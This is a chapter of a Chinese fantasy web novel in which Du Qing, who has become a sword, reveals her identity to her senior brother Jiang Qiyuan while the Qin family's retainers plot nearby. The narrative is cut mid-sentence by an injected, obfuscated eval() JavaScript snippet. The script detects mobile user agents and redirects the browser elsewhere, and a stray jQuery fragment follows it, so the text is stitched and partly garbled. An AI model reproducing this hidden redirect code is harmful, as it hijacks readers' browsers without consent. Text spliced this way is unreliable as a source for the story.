46. 我才是杜青
作品:《成了冤种师兄的剑》 三个人的视线在空中交汇,相击出的气势令杜青动弹不得,悬停在半空中。
危险弥漫着的空气,灌入到她的肺里,让她第一次读懂了所有人的表情:这三个人都在不满,姜启元和尾竺在用眼神厮杀,刺青头脸上汗如雨下,眼神慌乱又警惕。
半晌后,刺青头打破僵硬的沉默,干咳了一声。
刷刷——
另外两人的目光汇顿时聚到他的脸上。刺青头的嘴半张,声音卡在了喉咙里,一双眼睛骨碌转着,发现了什么惊讶叫道:“尾竺,你剑呢?”
尾竺头一偏,看向旁边的黑剑。
杜青不怕尾竺瞧,更不怕他说,但另一道视线令她不淡定了。
姜启元的目光在她和尾竺的身上扫视,对向她时,是疑惑。对向尾竺时,是冰冷。
她忙飞进姜启元的手心,一下又一下顶着他的手。
示好的意味不言自明。他握住她,接着叹了一口气,朝刺青头道:“我先走了。”
“好……哎等等!”刺青头向前迈步,在尾竺的诧异目光下,两步跨到姜启元面前,“我要怎么找你?”
姜启元随手拔了一根草,将草打结捏在手心里。念完决后,摊开手,一只草蚱蜢跳上刺青头的手臂,三两下钻进他毛茸茸的半边衣领里。
“只能传话三次。”
“好!”刺青头高兴地看着草蚱蜢,用粗糙的食指逗弄它。
待姜启元转身离远,刺青头立刻换成严肃模样朝回走,站在尾竺面前。尾竺虽是家仆,但年轻,能力不错,模样又俊,深得秦家人喜欢,说是半个少爷也不为过。尾竺得到过不少好东西,但从未表露过物欲,刺青头不禁疑惑:“你老盯着别人的剑看什么?你喜欢黑黑的剑啊?”
“原本不喜欢。”尾竺语气有些烦躁,“他怎么就得到了一柄好剑?”
“……”刺青头哑然,他怎么没看出来那是柄好剑?但他毕竟是体修不懂剑,于是闭眼夸道,“强者能力高,眼光自然也会高,人强剑好,绝配!”
“四阶剑修是个屁的强者,要不是你拦着,我刚刚就能夺了他的剑。”尾竺抬头,冷冷看着刺青头,质问,“你怎么没杀他?”
刺青头后颈的汗,顺着脊缝往下流,嘴角扯了扯,心道不能把“他是主月”告诉尾竺,只能说别的了——
“他有用。他是玄青派的弟子,能帮助我们跟踪玄青派法峰的人。”
尾竺皱眉:“剑锋的普通弟子有个屁用?”
忽然,黑影压来,尾竺抬眸,用挑衅的眼神看向刺青头。
刺青头不接,反倒郑重其事地道:“他是法峰杜道寻曾经的亲传弟子,也是前几日在关口出现的姜家家主的儿子,姜启元。”
尾竺顿时脑袋嗡了一下。这两条消息如针刺进他的头皮,脑袋突突疼。
秦家家主高攀不起的杜道寻,还有比秦家地位更高的姜家,都不是他这种小人物能去硬碰的。他忽然庆幸,刚刚只是失去了一柄剑,而不是与这种麻烦的人交手。
尾竺缓缓吐出一口凉气,道:“不能让小少爷知道,照小少爷的特殊兴趣,像姜启元这种过去风光,如今麻烦缠身的丧家之犬,定要让我们抓他回来做成法器收藏。”
刺青头回以赞同的眼神。但他考虑的则是另一回事:他不在意小少爷会虐待,还是会捧着是主月的姜启元。他只在意在进去魔域第四层前,他不能破坏了与姜启元的约定。
……
魔域第三层的深处,静谧无声。
路上寥寥的岩石与树木,形状怪异且单调。
已经走了很长一段距离,杜青从姜启元的手中飞了出来。
她来到他的身侧,期待他转头与她对视。但他不仅不看她,也不问她飞出来所为何事。
他绷着一张脸,目光沉沉,呼吸看似没有变化,但在契约以及她的观察下,他的呼吸比平时稍重。
杜青略作思忖,开口:“我刚刚带尾竺回来,是有原因——”
“是吗?他这么顺从?”姜启元突然出声打断,在察觉到了声音里的严厉后,掐了下眉心,平缓语气,“发生了什么事?”
杜青忙回:“我本来已经把尾竺放到断崖上了,但法峰的人发现了我们,我才又带上他的。我还偷听到了一些消息,法峰的人似乎是奉师尊的命来找神剑的。”
“师尊……”姜启元猛然停下脚步。
杜青连忙刹步,后退到他身侧。他突然扭头看她,眼底里闪着她看不懂的光:“你觉得杜道寻为何会找那么多神剑?”
“问我?”杜青有点疑惑。姜启元认真得过分的语气,似乎真的是因为不知道才问她。但他的表情又不像是为了得到答案,更像是在期待着什么。
她顿了顿,开始推测:“师尊本就爱收藏东西——”
姜启元的眼睛在微微睁大,目光灼灼。
杜青瞧见了,顶着期待的压力继续道:“师尊收藏不需要的神剑很奇怪,但绝对不会是一时兴起,他不做没有回报的事情。”
“倘若是为了别人才收集神剑呢?”姜启元突然发问,“比如变成剑修的‘杜青’?”
杜青有点发懵,片刻后才明白他说的是谁,摇着头道:“那也不会。”
“为何?”
杜青深吸一口气,压下翻涌的恶心,道:“血煞神剑才被我吃掉,师尊再快,也不可能在短短几日,就派出一队人来魔域取走新的神剑。寻剑、取剑,他会做足了准备才会出手。他还让世家为他效力,付出这么大的代价,我不觉得他只是为了拿到神剑,背后必定有别的目的。”
但目的是什么呢?她左思右想,想不出来。微微叹气,她对于师尊的了解还是不够。
就在这时,姜启元的声音忽然出现在她耳畔,宛如一道旋律撩动她的心:
“你真的是——”
她盯着他,等待他的后半句。
他则凝视着她,用目光一寸寸描摹着她的剑身。忽然,他像沙漠中干涸已久的人遇见的一汪泉水,眼里盈满希望。接着,他抓住她,以一种不轻不重的力量收回手臂,把她放在胸前,手一翻,露出她另一面的身体。
在他的幽幽目光打量下,她莫名地紧张。
忽然身上一痒,他在用食指划着什么。一下、两下、三下,她才发现他正在描她身上的“青”字。
落下最后的一笔时,他浅浅开口:“青……”
声音在幽暗的环境下,充满道不明的情愫。
杜青的心突然猛跳,她意识到这正是个好机会——她期盼已久的,与师兄相认的机会。
她张开嘴,颤抖的声音立刻倾泻而出:“你或许很难相信,但我才是杜青……我变成了一柄剑。”
周围安静得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985029|192248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只能听见咚咚巨响的心跳声。
流逝的时间成了堆积起来的期待,某刻开始,期待变成重重的忐忑,压在她的心上。
许久之后,他终于开口了。
“我暂时相信你。”
一股酸楚刹时蹿上杜青的喉头,鼻酸眼热,恨不得大哭一顿。
她连吸几下鼻子,慢慢将激动压下去,因为眼下还有另外一事要办。
“你听我说,我或许知道王真人在哪了……”杜青喘了一大口气,将从尾竺短剑上获得的记忆慢慢说出来,“王真人和秦家做了交易,但秦家私自毁约,派秦霸王进魔域。他们打算在进入第四层之后,沿着王真人走过的路线,去找他们要的东西。魔域第四层入口难寻,秦霸王他们会跟踪法峰的人进去,而尾竺负责跟踪。不巧,我和尾竺被法峰的人先发现了,我便护着他安全回来。”
姜启元沉着一张脸。
杜青不解地眨眼,等了许久,他仍不说话。他的眼里倒是蓄满了话,可她不懂,于是前倾贴上他的手臂,问:“在想什么?”
他这才开口,重重地咬着字道:“你很在意尾竺?”
“???”
……
相隔不远,一处平坦的陆地上。
秦霸王单脚踩在霖陇的背上:“事不过三,你若再跑,我一定打断你的腿。”说着脚用力,将霖陇踩痛大叫。
霖陇瞪着发红的眼睛,凶狠狠看着秦霸王。秦霸王被眼神激怒,脚又下了几分力。
“秦少爷,你看那边!”霖彪突然出声,秦霸王顺着他指的方向抬头,远方,有一个人正往这边飞来。
“好像不是尾竺?”
霖彪说着话,被凝神眺望的秦霸王一把推开。秦霸王忽然双眼睁圆,脸上又惊又喜,快步上前,没几步就变成了跑,边跑边冲人影招手。
霖陇与霖彪看得瞠目结舌,都被秦霸王这副激动的模样吓到了。眼见人越跑越远,霖彪凶恶瞪了一眼霖陇,警告她莫跑后去追秦霸王。
霖陇见二人渐远,从地上爬起来,脚步踉跄跑向相反的方向。然而一段距离后,她的运气到头了,她绝望地看着面前的刺青头与尾竺,面色惨白,昏眩欲倒。
刺青头与尾竺互相对视了一眼,皆以为是秦霸王出了事。刺青头扛起霖陇,跟在尾竺后面往前跑去。
前方忽然传来欢声笑语,细听之下,那放荡的笑声竟然出自秦霸王。
“你是主月啊?哈哈哈——太好了!”秦霸王拉着一个人走着,“我家占卜师说我运气好,说得真准,我回去就好好赏赐他!”
尾竺的脚仿佛被钉在地上,愣愣看着秦霸王身边穿着青斗篷、戴着面具的人,暗叫一声不好。
紧随其后的刺青头也脸色瞬变,一声不好跟着叫了出来:“……那人,是我们要跟踪的人啊!”
尾竺骤然一惊,呆呆地看向刺青头:“你说什么?”
正巧,秦霸王发现了尾竺与刺青头,拉着面具的手臂迅速跑来,喜上眉梢介绍道:“你们知道他是谁吗?哈哈哈——是主月!”
说罢又看向面具:“主月道友,你刚才说你来这附近是为了什么?”
一道没有感情的声音,从面具下流出:“……杀个剑修。”
“奥?”秦霸王一脸兴奋,没有看到尾竺挤得抽筋的眼睛,只顾着对面具激动问,“是谁?”

